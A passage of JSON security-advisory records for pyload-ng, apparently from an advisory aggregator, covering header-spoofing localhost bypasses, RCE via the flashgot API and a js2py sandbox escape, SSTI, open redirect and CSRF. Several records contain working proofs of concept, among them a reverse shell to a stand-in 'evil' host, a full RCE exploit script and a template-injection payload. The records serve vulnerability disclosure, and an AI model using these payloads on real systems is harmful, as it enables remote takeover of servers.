users.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-08T21:36:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-x698-5hjm-w2m5","https://github.com/pyload/pyload/commit/f4e2d12416ba2dfac7b036d5c8d6dab5461b9840","https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36","https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11","https://github.com/advisories/GHSA-x698-5hjm-w2m5"],"source_kind":"github","identifiers":["GHSA-x698-5hjm-w2m5","CVE-2025-7346"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-07-08T22:08:24.802Z","updated_at":"2026-09-21T20:06:09.529Z","epss_percentage":0.00315,"epss_percentile":0.24637,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Njk4LTVoam0tdzJtNc4ABJ7D","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14Njk4LTVoam0tdzJtNc4ABJ7D","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev88"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0b2.dev9","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14Njk4LTVoam0tdzJtNc4ABJ7D/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yd2NtLXZ4NjctM3g0cc4ABJ2Q","url":"https://github.com/advisories/GHSA-2wcm-vx67-3x4q","title":"Duplicate Advisory: GHSA-x698-5hjm-w2m5","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-x698-5hjm-w2m5. This link is maintained to preserve external references.\n\n### Original Description\nAny unauthenticated attacker can bypass the localhost \nrestrictions posed by the application and utilize this to create \narbitrary packages","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-08T09:31:29.000Z","withdrawn_at":"2025-07-08T23:38:36.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/pyload/pyload/security/advisories/GHSA-x698-5hjm-w2m5","https://nvd.nist.gov/vuln/detail/CVE-2025-7346","https://github.com/advisories/GHSA-2wcm-vx67-3x4q"],"source_kind":"github","identifiers":["GHSA-2wcm-vx67-3x4q"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-07-09T00:08:38.230Z","updated_at":"2026-07-12T11:03:57.083Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd2NtLXZ4NjctM3g0cc4ABJ2Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yd2NtLXZ4NjctM3g0cc4ABJ2Q","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev77"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yd2NtLXZ4NjctM3g0cc4ABJ2Q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNXB3LXE5NTIteDM3Z84ABAuk","url":"https://github.com/advisories/GHSA-25pw-q952-x37g","title":"Duplicate Advisory: pyload-ng vulnerable to RCE with js2py sandbox escape","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-r9pp-r4xf-597r. This link is maintained to preserve external references.\n\n## Original Description\nAn issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-28T21:30:34.000Z","withdrawn_at":"2024-10-28T21:50:04.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r","https://nvd.nist.gov/vuln/detail/CVE-2024-39205","https://github.com/Marven11/CVE-2024-39205-Pyload-RCE/tree/main","https://github.com/pyload/pyload","https://github.com/advisories/GHSA-25pw-q952-x37g"],"source_kind":"github","identifiers":["GHSA-25pw-q952-x37g"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-10-28T22:06:31.438Z","updated_at":"2026-07-12T11:04:59.279Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXB3LXE5NTIteDM3Z84ABAuk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNXB3LXE5NTIteDM3Z84ABAuk","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev85"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNXB3LXE5NTIteDM3Z84ABAuk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13N2hxLWYycGotYzUzZ84ABAtM","url":"https://github.com/advisories/GHSA-w7hq-f2pj-c53g","title":"pyLoad vulnerable to remote code execution by download to /.pyload/scripts using /flashgot API","description":"### Summary\nThe folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file.\n\n### Details\n\n**Configuration changes**\n1. Change the download folder to `/home/\u003cuser\u003e/.pyload/scripts`\n2. Change permissions for downloaded files:\n    1. Change permissions of downloads: on\n    2. Permission mode for downloaded files: 0744\n\n**Making the request to download files**\n\nThe `flashgot` API provides functionality to download files from a provided URL. Although pyload tries to prevent non-local requests from being able to reach this API, it relies on checking the Host header and the Referer header of the incoming request. Both of these can be set by an attacker to arbitrary values, thereby bypassing these checks.\n\n*Referer header check*\n```\ndef flashgot():\n    if flask.request.referrer not in (\n        \"http://localhost:9666/flashgot\",\n        \"http://127.0.0.1:9666/flashgot\",\n    ):\n        flask.abort(500)\n  ...\n```\n*Host header check for local check*\n```\ndef local_check(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n        http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n        if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n            \"127.0.0.1:9666\",\n            \"[::1]:9666\",\n        ):\n            return func(*args, **kwargs)\n        else:\n            return \"Forbidden\", 403\n\n    return wrapper\n```\n\nOnce the file is downloaded to a folder in the scripts folder, the attacker can perform the respective action, and the script will be executed\n\n\n### PoC\nCreate a malicious file. I have created a reverse shell\n```\n#!/bin/bash\nbash -i \u003e\u0026 /dev/tcp/evil/9002 0\u003e\u00261\n```\n\nHost this file at some URL, for eg: http://evil\n\nCreate a request like this for the `flashgot` API. I am using `download_finished` folder as the destination folder. Scripts in this folder are run when a download is completed.\n```\nimport requests\n\nurl = \"http://pyload/flashgot\"\nheaders = {\"host\": \"127.0.0.1:9666\", \"Referer\": \"http://127.0.0.1:9666/flashgot\"}\n\ndata = {\n    \"package\": \"download_finished\",  \n    \"passwords\": \"optional_password\",  \n    \"urls\": \"http://evil/exp.sh\",\n    \"autostart\": 1,\n}\n\n\nresponse = requests.post(url, data=data, headers=headers)\n```\nWhen the above request is made, exp.sh will be downloaded to `/scripts/download_finished folder`. For all subsequent downloads, this script will be run. Sending the request again causes a download of the file again, and when the download is complete, the script is run.\n\nI also have a listener on my machine which receives the request from the pyload server. When the script executes, I get a connection back to my machine\n\n### Screenshots\n*Download folder*\n\n\u003cimg width=\"672\" alt=\"1\" src=\"https://github.com/user-attachments/assets/77fc5202-bed2-41a2-98ae-9cb7b1315f76\"\u003e\n\n*`exp.sh` is downloaded*\n\n\u003cimg width=\"714\" alt=\"2\" src=\"https://github.com/user-attachments/assets/5e6e19db-2a5c-48f4-9973-817528b5b9ec\"\u003e\n\n*Script is run*\n\n\u003cimg width=\"714\" alt=\"3\" src=\"https://github.com/user-attachments/assets/34fbdaee-50ba-46a8-a372-ec8c91d03aa9\"\u003e\n\n*Reverse shell connection is received*\n\n\u003cimg width=\"314\" alt=\"4\" src=\"https://github.com/user-attachments/assets/4713d56e-e850-47ad-99b3-cab0c7bba800\"\u003e\n\n\n### Impact\nThis vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-10-28T12:23:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P","references":["https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g","https://nvd.nist.gov/vuln/detail/CVE-2024-47821","https://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109","https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-302.yaml","https://github.com/advisories/GHSA-w7hq-f2pj-c53g"],"source_kind":"github","identifiers":["GHSA-w7hq-f2pj-c53g","CVE-2024-47821"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-10-28T13:06:31.616Z","updated_at":"2026-09-14T14:08:19.041Z","epss_percentage":0.00682,"epss_percentile":0.50507,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N2hxLWYycGotYzUzZ84ABAtM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13N2hxLWYycGotYzUzZ84ABAtM","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev87","vulnerable_version_range":"\u003c 0.5.0b3.dev87"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13N2hxLWYycGotYzUzZ84ABAtM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOXBwLXI0eGYtNTk3cs4AA_YT","url":"https://github.com/advisories/GHSA-r9pp-r4xf-597r","title":"pyload-ng vulnerable to RCE with js2py sandbox escape","description":"### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" \u0026\u0026 item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" \u0026\u0026 (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg\u0026crypted={quote(crypted_b64)}\u0026jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (\u003c=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.\n","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-09-09T18:17:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r","https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape","https://github.com/advisories/GHSA-h95x-26f3-88hr","https://nvd.nist.gov/vuln/detail/CVE-2024-39205","https://github.com/advisories/GHSA-r9pp-r4xf-597r"],"source_kind":"github","identifiers":["GHSA-r9pp-r4xf-597r","CVE-2024-39205"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-09-09T19:06:21.892Z","updated_at":"2026-08-28T13:07:14.433Z","epss_percentage":0.16538,"epss_percentile":0.96757,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOXBwLXI0eGYtNTk3cs4AA_YT","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yOXBwLXI0eGYtNTk3cs4AA_YT","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev85"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yOXBwLXI0eGYtNTk3cs4AA_YT/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZjd3LXA4dnItNHY1Zs4AA7Ss","url":"https://github.com/advisories/GHSA-3f7w-p8vr-4v5f","title":"pyLoad allows upload to arbitrary folder lead to RCE","description":"### Summary\nAn authenticated user can change the download folder and upload a crafted template to the specified folder lead to remote code execution\n\n### Details\nexample version: 0.5\nfile:src/pyload/webui/app/blueprints/app_blueprint.py\n```python\n@bp.route(\"/render/\u003cpath:filename\u003e\", endpoint=\"render\")\ndef render(filename):\n    mimetype = mimetypes.guess_type(filename)[0] or \"text/html\"\n    data = render_template(filename)\n    return flask.Response(data, mimetype=mimetype)\n```\nSo, if we can control file in the path \"pyload/webui/app/templates\" in latest version and path in \"module/web/media/js\"(the difference is the older version0.4.20 only renders file with  extension name \".js\"), the render_template func will works like SSTI(server-side template injection) when render the evil file we control.\n\nin /settings page and the choose option general/general, where we can change the download folder. \n![image](https://github.com/pyload/pyload/assets/48705773/0b239138-9aaa-45c4-bf84-c1c3103c452a)\n\nAlso, we can find the pyLoad install folder in /info page\n![image](https://github.com/pyload/pyload/assets/48705773/6e9d363a-f0e0-4d25-92b3-b1587188a235)\nSo, we can change the  value of Download folder to the template path. Then through /json/add_package we can upload a crafted template file to RCE.\n```python\n@bp.route(\"/json/add_package\", methods=[\"POST\"], endpoint=\"add_package\")\n# @apiver_check\n@login_required(\"ADD\")\ndef add_package():\n    api = flask.current_app.config[\"PYLOAD_API\"]\n\n    package_name = flask.request.form.get(\"add_name\", \"New Package\").strip()\n    queue = int(flask.request.form[\"add_dest\"])\n    links = [l.strip() for l in flask.request.form[\"add_links\"].splitlines()]\n    pw = flask.request.form.get(\"add_password\", \"\").strip(\"\\n\\r\")\n\n    try:\n        file = flask.request.files[\"add_file\"]\n\n        if file.filename:\n            if not package_name or package_name == \"New Package\":\n                package_name = file.filename\n\n            file_path = os.path.join(\n                api.get_config_value(\"general\", \"storage_folder\"), \"tmp_\" + file.filename\n            )\n            file.save(file_path)\n            links.insert(0, file_path)\n\n    except Exception:\n        pass\n\n    urls = [url for url in links if url.strip()]\n    pack = api.add_package(package_name, urls, queue)\n    if pw:\n        data = {\"password\": pw}\n        api.set_package_data(pack, data)\n\n    return jsonify(True)\n```\n### PoC\nFirst login into the admin page, then visit the info page to get the path of pyload installation folder.\nSecond, change the download folder to PYLOAD_INSTALL_DIR/ webui/app/templates/\nThird, upload crafted template file through /json/add_package through parameter add_file\nthe content of crafted template file and its filename is \"341.html\":\n```\n{{x.__init__.__globals__['__builtins__']['eval'](\"__import__('os').popen('whoami').read()\")}}\n```\n![image](https://github.com/pyload/pyload/assets/48705773/a933a95b-bb18-4e2e-a442-973585e7d1fc)\nLast, visit http://TARGET/render/tmp_341.html to trigger the RCE\n![image](https://github.com/pyload/pyload/assets/48705773/80a1ba00-2774-4ce5-bc9e-dd32f189634e)\n![image](https://github.com/pyload/pyload/assets/48705773/136236f2-9b00-4506-a8ac-29a14a537bbe)\n\n### Impact\nIt is a RCE vulnerability and I think it affects all versions. In earlier version 0.4.20, the trigger difference is the pyload installation folder path difference and the upload file must with extension \".js\"  .\nThe render js code in version 0.4.20:\n```python\n@route(\"/media/js/\u003cpath:re:.+\\.js\u003e\")\ndef js_dynamic(path):\n    response.headers['Expires'] = time.strftime(\"%a, %d %b %Y %H:%M:%S GMT\",\n                                                time.gmtime(time.time() + 60 * 60 * 24 * 2))\n    response.headers['Cache-control'] = \"public\"\n    response.headers['Content-Type'] = \"text/javascript; charset=UTF-8\"\n\n    try:\n        # static files are not rendered\n        if \"static\" not in path and \"mootools\" not in path:\n            t = env.get_template(\"js/%s\" % path)\n            return t.render()\n        else:\n            return static_file(path, root=join(PROJECT_DIR, \"media\", \"js\"))\n    except:\n        return HTTPError(404, \"Not Found\")\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-04-24T21:16:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-3f7w-p8vr-4v5f","https://nvd.nist.gov/vuln/detail/CVE-2024-32880","https://github.com/advisories/GHSA-3f7w-p8vr-4v5f"],"source_kind":"github","identifiers":["GHSA-3f7w-p8vr-4v5f","CVE-2024-32880"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-04-24T22:05:01.467Z","updated_at":"2026-09-15T18:08:45.173Z","epss_percentage":0.01354,"epss_percentile":0.69757,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjd3LXA4dnItNHY1Zs4AA7Ss","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZjd3LXA4dnItNHY1Zs4AA7Ss","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZjd3LXA4dnItNHY1Zs4AA7Ss/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nM2NtLXFnMnYtMmhqNc4AA5Ev","url":"https://github.com/advisories/GHSA-g3cm-qg2v-2hj5","title":"pyLoad open redirect vulnerability due to improper validation of the is_safe_url function","description":"### Summary\nOpen redirect vulnerability due to incorrect validation of input values when redirecting users after login.\n\n### Details\npyload is validating URLs via the `get_redirect_url` function when redirecting users at login.\n![301715649-f533db41-d0bd-44f7-8735-be1887fbd06c](https://github.com/pyload/pyload/assets/114328108/7fbec2ed-05ed-46e6-847f-05132cf3f136)\n\n\nThe URL entered in the `next` variable goes through the `is_safe_url` function, where a lack of validation can redirect the user to an arbitrary domain.\n![301715667-2819b1d3-8a14-42f4-89c8-3d2fa84fc309](https://github.com/pyload/pyload/assets/114328108/613484f3-8097-4871-887d-8fa5eec817cc)\n\n\nThe documentation in the urllib library shows that improper URLs are recognized as relative paths when using the `urlparse` function. (https://docs.python.org/3/library/urllib.parse.html#urllib.parse.urlparse)\n\nFor example, When an unusual URL like `https:///example.com` is entered, `urlparse` interprets it as a relative path, but in the actual request it is converted to `https://example.com` due to url normalization.\n\n### PoC\n1. In the next variable, insert the URL to which you want to redirect the user.\n![301715949-bb1451eb-5e84-451d-83b4-5c3e204d1df7](https://github.com/pyload/pyload/assets/114328108/6fe639ea-1f85-4715-bf6c-c9c8c4ee9c94)\n\n\n\n2. Check that it is possible to bypass url validation and redirect users to an arbitrary url.\n![301715824-3de6584a-878d-4ec4-a3d5-a34d11c6c0ac](https://github.com/pyload/pyload/assets/114328108/902b3244-a4ef-4f8e-8319-c4b92764f15f)\n![301716107-ba5ab7b9-7aa8-4b7a-8924-eba82442b4c3](https://github.com/pyload/pyload/assets/114328108/35191d7b-50b9-4a46-8319-ebdebec20b41)\n\n\n\n### Impact\nAn attacker can use this vulnerability to redirect users to malicious websites, which can be used for phishing and similar attacks.\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-02-05T23:23:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-g3cm-qg2v-2hj5","https://github.com/pyload/pyload/commit/fe94451dcc2be90b3889e2fd9d07b483c8a6dccd","https://nvd.nist.gov/vuln/detail/CVE-2024-24808","https://github.com/advisories/GHSA-g3cm-qg2v-2hj5"],"source_kind":"github","identifiers":["GHSA-g3cm-qg2v-2hj5","CVE-2024-24808"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2024-02-06T00:04:47.698Z","updated_at":"2026-09-21T20:10:24.086Z","epss_percentage":0.00545,"epss_percentile":0.44604,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nM2NtLXFnMnYtMmhqNc4AA5Ev","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nM2NtLXFnMnYtMmhqNc4AA5Ev","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev79","vulnerable_version_range":"\u003c 0.5.0b3.dev79"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0a9.dev806","0.5.0b2.dev9","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nM2NtLXFnMnYtMmhqNc4AA5Ev/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZ3BqLXY4NXEtaDVmbc4AA4kU","url":"https://github.com/advisories/GHSA-pgpj-v85q-h5fm","title":"Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation","description":"### Summary\nThe `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.\n\n### PoC\nWe host the following HTML file on an attacker-controlled server.\n```html\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22\"\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      